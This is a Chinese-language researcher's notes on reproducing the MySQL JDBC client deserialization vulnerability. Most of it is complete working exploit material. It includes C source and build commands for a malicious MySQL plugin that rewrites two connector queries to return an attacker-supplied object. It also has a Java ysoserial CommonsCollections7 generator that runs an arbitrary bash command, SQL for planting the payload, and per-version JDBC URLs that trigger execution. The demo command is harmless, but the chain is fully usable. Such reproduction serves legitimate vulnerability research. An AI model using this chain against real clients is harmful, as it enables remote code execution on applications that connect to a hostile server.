MySQL JDBC客户端反序列化漏洞

背景介绍

2019年11月底Yang Zhang等人在BlackHat上有个议题,提到MySQL JDBC客户端反序列化漏洞,用到ServerStatusDiffInterceptor,参[1]。

2019年12月Welkin给出了部分细节,但当时未解决恶意服务端的组建问题,参[2]。

codeplutos利用修改过的MySQL插件成功组建恶意服务端,这个脑洞开得可以。与此同时,他演示了另一条利用路径,用到detectCustomCollations。需要指出,他的方案原理同时适用于ServerStatusDiffInterceptor、detectCustomCollations,他只以后者举例而已。参[3]。

2020年4月fnmsd分析MySQL Connector/J各版本后给出大一统的总结,给出不同版本所需URL,给了Python版恶意服务端,参[4]。

2020年5月我学习前几位的大作,写了这篇笔记。

学习思路

先将[1]、[2]、[3]、[4]全看了一遍,没做实验,只是看。对这个洞大概有点数,通过JDBC建立到MySQL服务端的连接时,有几个内置的SQL查询语句被发出,其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。通过控制结果集,可以在客户端搞事,具体危害视客户端拥有的Gadget环境而定。

这两个查询语句是:

SHOW SESSION STATUS
SHOW COLLATION

利用MySQL插件机制将这两个查询语句在服务端”重定向”成查询恶意表,恶意表中某字段存放恶意Object。

需要安装MySQL,创建恶意表,编译定制过的恶意MySQL插件。写一个通用的JDBC客户端程序,用之访问恶意服务端。用Wireshark抓包,基于抓包数据用Python实现简版恶意服务端,这样可以避免陷入MySQL私有协议细节当中。

搭建测试环境

参看

《恶意MySQL Server读取MySQL Client端文件》

http://scz.617.cn/network/202001101612.txt

恶意MySQL插件

1) 获取MySQL 5.7.28源码

https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm

2) 在rewrite_example基础上修改出evilreplace

$ vi evilreplace.cc
#include <ctype.h>
#include <string.h>
#include <my_global.h>
#include <mysql/plugin.h>
#include <mysql/plugin_audit.h>
#include <mysql/service_mysql_alloc.h>
#include <my_thread.h> // my_thread_handle needed by mysql_memory.h
#include <mysql/psi/mysql_memory.h>
/* instrument the memory allocation */
#ifdef HAVE_PSI_INTERFACE
static PSI_memory_key key_memory_evilreplace;
static PSI_memory_info all_rewrite_memory[]=
{
  { &key_memory_evilreplace, "evilreplace", 0 }
};
static int plugin_init(MYSQL_PLUGIN)
{
  const char* category= "sql";
  int count;
  count= array_elements(all_rewrite_memory);
  mysql_memory_register(category, all_rewrite_memory, count);
  return 0; /* success */
}
#else
#define plugin_init NULL
#define key_memory_evilreplace PSI_NOT_INSTRUMENTED
#endif /* HAVE_PSI_INTERFACE */

static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,
                         const void *event)
{
  if (event_class == MYSQL_AUDIT_PARSE_CLASS)
  {
    const struct mysql_event_parse *event_parse=
      static_cast<const struct mysql_event_parse *>(event);
    if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE)
    {
        if
        (
            ( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 )
            ||
            ( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 )
        )
        {
            char    evilsql[]       = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;";
            char   *rewritten_query = static_cast<char *>
            (
                my_malloc
                (
                    key_memory_evilreplace,
                    strlen( evilsql ) + 1,
                    MYF(0)
                )
            );
            strcpy( rewritten_query, evilsql );
            event_parse->rewritten_query->str       = rewritten_query;
            event_parse->rewritten_query->length    = strlen( evilsql ) + 1;
            *((int *)event_parse->flags)           |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
        }
    }
  }
  return 0;
}
/* Audit plugin descriptor */
static struct st_mysql_audit evilreplace_descriptor=
{
  MYSQL_AUDIT_INTERFACE_VERSION,                    /* interface version */
  NULL,                                             /* release_thd()     */
  rewrite_lower,                                    /* event_notify()    */
  { 0,
    0,
    (unsigned long) MYSQL_AUDIT_PARSE_ALL, }        /* class mask        */
};
/* Plugin descriptor */
mysql_declare_plugin(audit_log)
{
  MYSQL_AUDIT_PLUGIN,             /* plugin type                   */
  &evilreplace_descriptor,    /* type specific descriptor      */
  "evilreplace",              /* plugin name                   */
  "Oracle",                       /* author                        */
  "An example of a query rewrite"
  " plugin that rewrites all queries"
  " to lower case",               /* description                   */
  PLUGIN_LICENSE_GPL,             /* license                       */
  plugin_init,                    /* plugin initializer            */
  NULL,                           /* plugin deinitializer          */
  0x0002,                         /* version                       */
  NULL,                           /* status variables              */
  NULL,                           /* system variables              */
  NULL,                           /* reserverd                     */
  0                               /* flags                         */
}
mysql_declare_plugin_end;

参[3],codeplutos介绍了Ubuntu 16.04下的MySQL插件编译方案。各发行版的编译过程差别较大,RedHat 7.6上明显不同,建议先搞清楚如何编译MySQL源码,再来编译单个插件。

编译:

/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \
-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \
-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \
-I/<path>/mysql-5.7.28/include \
-I/<path>/mysql-5.7.28/extra/rapidjson/include \
-I/<path>/mysql-5.7.28/libbinlogevents/include \
-I/<path>/mysql-5.7.28/libbinlogevents/export \
-isystem /<path>/mysql-5.7.28/zlib \
-I/<path>/mysql-5.7.28/sql \
-I/<path>/mysql-5.7.28/sql/auth \
-I/<path>/mysql-5.7.28/regex \
-o evilreplace.cc.o \
-c evilreplace.cc

链接:

/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \
-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \
-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \
evilreplace.cc.o -lpthread \
/<path>/libmysqlservices.a -lpthread

测试rewriter插件

rewriter.so是自带的插件,不需要源码编译。

1) 安装rewriter.so

查看:

/usr/share/mysql/install_rewriter.sql

除了安装rewriter.so,还涉及辅助表和存储过程的创建。

mysql> source /usr/share/mysql/install_rewriter.sql

这会多出query_rewrite库、query_rewrite.rewrite_rules表。

mysql> show plugins;

mysql> SHOW GLOBAL VARIABLES LIKE ‘rewriter_enabled’;

2) 在服务端替换SQL查询语句

向query_rewrite.rewrite_rules表中插入替换规则:

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');

调用存储过程刷新,使之热生效:

mysql> call query_rewrite.flush_rewrite_rules();

测试替换规则:

mysql> select line from sczdb.SczTable;

3) 卸载rewriter.so

mysql> source /usr/share/mysql/uninstall_rewriter.sql

只有退出当前客户端才彻底卸载rewriter插件,否则其仍在生效中。

4) rewriter插件的局限性

清空表,二选一,推荐后者:

delete from query_rewrite.rewrite_rules;
truncate table query_rewrite.rewrite_rules;
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');
mysql> select * from query_rewrite.rewrite_rules;
mysql> call query_rewrite.flush_rewrite_rules();
ERROR 1644 (45000): Loading of some rule(s) failed.

调用存储过程刷新时意外失败,查看失败原因:

mysql> select message from query_rewrite.rewrite_rules;

pattern必须是select语句,show语句不行。

据说5.7的pattern只支持select,8.0支持insert、update、delete,未实测验证。难怪codeplutos要修改rewrite_example.cc。

漏洞相关的SQL查询语句

1) SHOW SESSION STATUS

mysql> help SHOW
...
SHOW COLLATION [like_or_where]
...
SHOW [GLOBAL | SESSION] STATUS [like_or_where]
...
If the syntax for a given SHOW statement includes a LIKE 'pattern'
part, 'pattern' is a string that can contain the SQL % and _ wildcard
characters. The pattern is useful for restricting statement output to
matching values.
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show.html
mysql> help SHOW STATUS
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show-status.html

“SHOW SESSION STATUS”访问INFORMATION_SCHEMA.SESSION_STATUS表。参[2],作者说访问INFORMATION_SCHEMA.SESSION_VARIABLES表,他应该说错了。

查看INFORMATION_SCHEMA.SESSION_STATUS表结构:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';

直接访问INFORMATION_SCHEMA.SESSION_STATUS表缺省会失败:

mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'

需要打开一个开关:

mysql> set @@global.show_compatibility_56=ON;
mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

2) SHOW COLLATION

mysql> help SHOW COLLATION;
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html
mysql> SHOW COLLATION WHERE Charset='latin1';

“SHOW COLLATION”访问INFORMATION_SCHEMA.COLLATIONS表。

查看INFORMATION_SCHEMA.COLLATIONS表结构:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';

可以直接访问INFORMATION_SCHEMA.COLLATIONS表,与show_compatibility_56无关。

mysql> show variables like 'show_compatibility_56';
mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;

复现漏洞

1) GenerateCommonsCollections7.java

/*
 * javac -encoding utf-8 -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java
 * java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
 */
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class GenerateCommonsCollections7
{
    /*
     * ysoserial/CommonsCollections7
     */
    @SuppressWarnings("unchecked")
    private static Object getObject ( String cmd ) throws Exception
    {
        Transformer[]   tarray      = new Transformer[]
        {
            new ConstantTransformer( Runtime.class ),
            new InvokerTransformer
            (
                "getMethod",
                new Class[]
                {
                    String.class,
                    Class[].class
                },
                new Object[]
                {
                    "getRuntime",
                    new Class[0]
                }
            ),
            new InvokerTransformer
            (
                "invoke",
                new Class[]
                {
                    Object.class,
                    Object[].class
                },
                new Object[]
                {
                    null,
                    new Object[0]
                }
            ),
            new InvokerTransformer
            (
                "exec",
                new Class[]
                {
                    String[].class
                },
                new Object[]
                {
                    new String[]
                    {
                        "/bin/bash",
                        "-c",
                        cmd
                    }
                }
            )
        };
        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
        Map             normalMap_0 = new HashMap();
        Map             normalMap_1 = new HashMap();
        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
        lazyMap_0.put( "scz", "same" );
        lazyMap_1.put( "tDz", "same" );
        Hashtable       ht          = new Hashtable();
        ht.put( lazyMap_0, "value_0" );
        ht.put( lazyMap_1, "value_1" );
        lazyMap_1.remove( "scz" );
        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
        f.setAccessible( true );
        f.set( tchain, tarray );
        return( ht );
    }
    public static void main ( String[] argv ) throws Exception
    {
        String              cmd     = argv[0];
        String              out     = argv[1];
        Object              obj     = getObject( cmd );
        FileOutputStream    fos = new FileOutputStream( out );
        ObjectOutputStream  oos = new ObjectOutputStream( fos );
        oos.writeObject( obj );
        oos.close();
        fos.close();
    }
}
java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
xxd -p -c 1000000 /tmp/out.bin

输出形如:

aced00057372…3178

2) 创建恶意表

DROP TABLE IF EXISTS evildb.eviltable;
DROP DATABASE IF EXISTS evildb;
CREATE DATABASE IF NOT EXISTS evildb;
CREATE TABLE IF NOT EXISTS evildb.eviltable
(
    evil_1  int(5),
    evil_2  blob,
    evil_3  int(5)
);
set @obj=0xaced00057372...3178;
INSERT INTO evildb.eviltable VALUES (1, @obj, 3);
UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;
select lower(hex(evil_2)) from evildb.eviltable;
SHOW GRANTS FOR root;
GRANT ALL ON evildb.eviltable TO 'root'@'%';
REVOKE ALL ON evildb.eviltable FROM 'root'@'%';

evil_1、evil_3也可以用blob类型,填充同样的@obj,触发点略有差异。上面演示的恶意表是最小集,通吃。

3) 用evilreplace插件改变SQL查询语句

用evilreplace插件将来自客户端的:

SHOW SESSION STATUS
SHOW COLLATION

替换成:

select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;

参[3],这是codeplutos的思路,很有想像力,他用了自编译rewrite_example.so。

INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';
SHOW SESSION STATUS;
SHOW COLLATION;
UNINSTALL PLUGIN evilreplace;

4) JDBCClient.java

/*
 * javac -encoding utf-8 -g JDBCClient.java
 */
import java.io.*;
import java.sql.*;
public class JDBCClient
{
    public static void main ( String[] argv ) throws Exception
    {
        String      url     = argv[0];
        Connection  conn    = DriverManager.getConnection( url );
    }
}

JDBCClient.java无需显式代码:

Class.forName( "com.mysql.cj.jdbc.Driver" );

5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)

参[4],fnmsd分析了各种版本所需URL。

5.1) 8.x

java \
-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.1.1) 简化版调用关系

DriverManager.getConnection                                         // 8u232+8.0.14
  DriverManager.getConnection                                       // DriverManager:270
    NonRegisteringDriver.connect                                    // DriverManager:664
      ConnectionImpl.getInstance                                    // NonRegisteringDriver:199
        ConnectionImpl.<init>                                       // ConnectionImpl:240
          ConnectionImpl.initializeSafeQueryInterceptors            // ConnectionImpl:448
          ConnectionImpl.createNewIO                                // ConnectionImpl:455
            ConnectionImpl.connectOneTryOnly                        // ConnectionImpl:825
              ConnectionImpl.initializePropsFromServer              // ConnectionImpl:966
                ConnectionImpl.handleAutoCommitDefaults             // ConnectionImpl:1327
                  ConnectionImpl.setAutoCommit                      // ConnectionImpl:1382
                    NativeSession.execSQL                           // ConnectionImpl:2064
                                                                    // 查询语句"SET autocommit=1"
                      NativeProtocol.sendQueryString                // NativeSession:1154
                        NativeProtocol.sendQueryPacket              // NativeProtocol:921
                          if (this.queryInterceptors != null)       // NativeProtocol:969
                          NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970
                            NoSubInterceptorWrapper.preProcess      // NativeProtocol:1144
                              ServerStatusDiffInterceptor.preProcess
                                                                    // NoSubInterceptorWrapper:76
                                ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
                                                                    // ServerStatusDiffInterceptor:105
                                  rs = stmt.executeQuery("SHOW SESSION STATUS")
                                                                    // ServerStatusDiffInterceptor:86
                                                                    // 自动提交SQL查询
                                  ResultSetUtil.resultSetToMap      // ServerStatusDiffInterceptor:87
                                    ResultSetImpl.getObject         // ResultSetUtil:46
                                                                    // mappedValues.put(rs.getObject(1), rs.getObject(2))
                                                                    // 处理结果集中第1、2列
                                      if ((field.isBinary()) || (field.isBlob()))
                                                                    // ResultSetImpl:1314
                                      byte[] data = getBytes(columnIndex)
                                                                    // ResultSetImpl:1315
                                      if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())
                                                                    // ResultSetImpl:1317
                                                                    // 要求autoDeserialize等于true
                                      ObjectInputStream.readObject  // ResultSetImpl:1326
                                                                    // obj = objIn.readObject();
                                        Hashtable.readObject        // ysoserial/CommonsCollections7
                                          Hashtable.reconstitutionPut
                                            AbstractMapDecorator.equals
                                              AbstractMap.equals
                                                LazyMap.get         // 此处开始LazyMap利用链
                                                  ChainedTransformer.transform
                                                    InvokerTransformer.transform
                                                      Runtime.exec
                          if (this.queryInterceptors != null)       // NativeProtocol:1109
                          NativeProtocol.invokeQueryInterceptorsPost
                                                                    // NativeProtocol:1110

5.1.2) mysql-connector-java-8.0.14.pcap

请自行抓包,此处略

5.2) 6.x

queryInterceptors => statementInterceptors

java \
-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.2.2) mysql-connector-java-6.0.3.pcap

请自行抓包,此处略

5.3) 5.1.11及以上版本

com.mysql.cj. => com.mysql.

java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"

5.3.2) mysql-connector-java-5.1.40.pcap

请自行抓包,此处略

6) MySQL Connector/J 各版本所需URL(detectCustomCollations)

参[3],触发方式是codeplutos提供的。重点看这个函数:

com.mysql.jdbc.ConnectionImpl.buildCollationMapping()

参[4],fnmsd分析了各种版本所需URL。

6.1) 5.1.29-5.1.40

java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&detectCustomCollations=true"

会抛异常,但恶意代码已被执行。

6.1.1) 简化版调用关系

DriverManager.getConnection                                         // 8u232+5.1.40
  DriverManager.getConnection                                       // DriverManager:270
    NonRegisteringDriver.connect                                    // DriverManager:664
      ConnectionImpl.getInstance                                    // NonRegisteringDriver:328
        Util.handleNewInstance                                      // ConnectionImpl:410
          Constructor.newInstance                                   // Util:425
            JDBC4Connection.<init>
              ConnectionImpl.<init>                                 // JDBC4Connection:47
                ConnectionImpl.initializeSafeStatementInterceptors  // ConnectionImpl:805
                ConnectionImpl.createNewIO                          // ConnectionImpl:806
                  ConnectionImpl.connectOneTryOnly                  // ConnectionImpl:2083
                    ConnectionImpl.initializePropsFromServer        // ConnectionImpl:2297
                      if (versionMeetsMinimum(3, 21, 22))           // ConnectionImpl:3282
                      ConnectionImpl.buildCollationMapping          // ConnectionImpl:3291
                        if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))
                                                                    // ConnectionImpl:944
                                                                    // 5.1.28版只检查版本号,未检查detectCustomCollations属性
                        results = stmt.executeQuery("SHOW COLLATION")
                                                                    // ConnectionImpl:957
                                                                    // 自动提交SQL查询
                        if (versionMeetsMinimum(5, 0, 0))           // ConnectionImpl:958
                        Util.resultSetToMap                         // ConnectionImpl:959
                                                                    // Util.resultSetToMap(sortedCollationMap, results, 3, 2)
                                                                    // 处理结果集中第3、2列
                          ResultSetImpl.getObject                   // Util:474
                                                                    // mappedValues.put(rs.getObject(key), rs.getObject(value))
                            ResultSetImpl.getObjectDeserializingIfNeeded
                                                                    // ResultSetImpl:4544
                              byte[] data = getBytes(columnIndex)   // ResultSetImpl:4568
                              ObjectInputStream.readObject          // ResultSetImpl:4579
                                                                    // obj = objIn.readObject()
                                Hashtable.readObject                // ysoserial/CommonsCollections7
                                  Hashtable.reconstitutionPut
                                    AbstractMapDecorator.equals
                                      AbstractMap.equals
                                        LazyMap.get                 // 此处开始LazyMap利用链
                                          ChainedTransformer.transform
                                            InvokerTransformer.transform
                                              Runtime.exec

6.1.2) mysql-connector-java-5.1.40_d.pcap

请自行抓包,此处略

6.2) 5.1.19-5.1.28

不需要指定”detectCustomCollations=true”

java \
-cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true"

6.2.2) mysql-connector-java-5.1.19_d.pcap

请自行抓包,此处略

7) Python版恶意服务端

7.1) fnmsd的实现

https://github.com/fnmsd/MySQL_Fake_Server

他这个实现同时支持ServerStatusDiffInterceptor、detectCustomCollations,还支持”恶意MySQL Server读取MySQL Client端文件”,只需要Python3。

他在”踩过的坑”里写了一些值得注意的点,有兴趣者可以看他的源码。

7.2) 其他思路

fnmsd的实现,功能完备。如果只是想搞标题所说漏洞,我说个别的思路。可以基于Gifts版本实现反序列化恶意服务端:

https://github.com/Gifts/Rogue-MySql-Server

ServerStatusDiffInterceptor适用范围包含detectCustomCollations适用范围,为了减少麻烦,可以只支持ServerStatusDiffInterceptor。具体来说,就是只特殊响应”SHOW SESSION STATUS”,不特殊响应”SHOW COLLATION”。

基于三次抓包组织响应报文:

mysql-connector-java-5.1.40.pcap
mysql-connector-java-6.0.3.pcap
mysql-connector-java-8.0.14.pcap

要点如下:

5.1.11及以上版本
6.x
    特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的
    "SHOW WARNINGS"。
8.x
    按抓包所示响应初始查询:
    /* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ...
    然后按抓包所示响应随后而来的"SHOW WARNINGS"。
    特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的
    "SHOW WARNINGS"。

这种搞法的好处是不用特别理解MySQL私有协议,fnmsd”踩过的坑”你都不会碰上。

十多年前我们按协议规范组织SMB报文时,有天看到某人在PoC里用了一个变量名,叫sendcode,他实际是把Ethereal抓包看到数据直接投放出来。当时我们很震惊,不是佩服得震惊。后来觉得某些场景下这样干,也没什么可鄙视的。

基于三次抓包组织响应报文的思路,跟sendcode异曲同工,比你想像得要通用。

当然,如果不是特别好奇,还是用fnmsd的实现吧。

参考资源

[1] New Exploit Technique In Java Deserialization Attack – Yang Zhang [2019-11-26]

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

[2] JDBC导致的反序列化攻击 – Welkin [2019-12-17]

https://www.cnblogs.com/Welk1n/p/12056097.html

[3]

https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

[4] MySQL JDBC客户端反序列化漏洞分析 – fnmsd [2020-04-15]

https://www.anquanke.com/post/id/203086

https://blog.csdn.net/fnmsd/article/details/106232092

https://github.com/fnmsd/MySQL_Fake_Server

[5] 6.2 Connection URL Syntax

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html

6.3 Configuration Properties

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html

13.7.5.25 SHOW PLUGINS Statement

https://dev.mysql.com/doc/refman/5.7/en/show-plugins.html

24.10 The INFORMATION_SCHEMA GLOBAL_STATUS and SESSION_STATUS Tables

https://dev.mysql.com/doc/refman/5.7/en/status-table.html

14.6.4.1 COM_QUERY Response

https://dev.mysql.com/doc/internals/en/com-query-response.html

14.7.3 Binary Protocol Value

https://dev.mysql.com/doc/internals/en/binary-protocol-value.html

14.12.2 ProtocolText::Resultset

https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html

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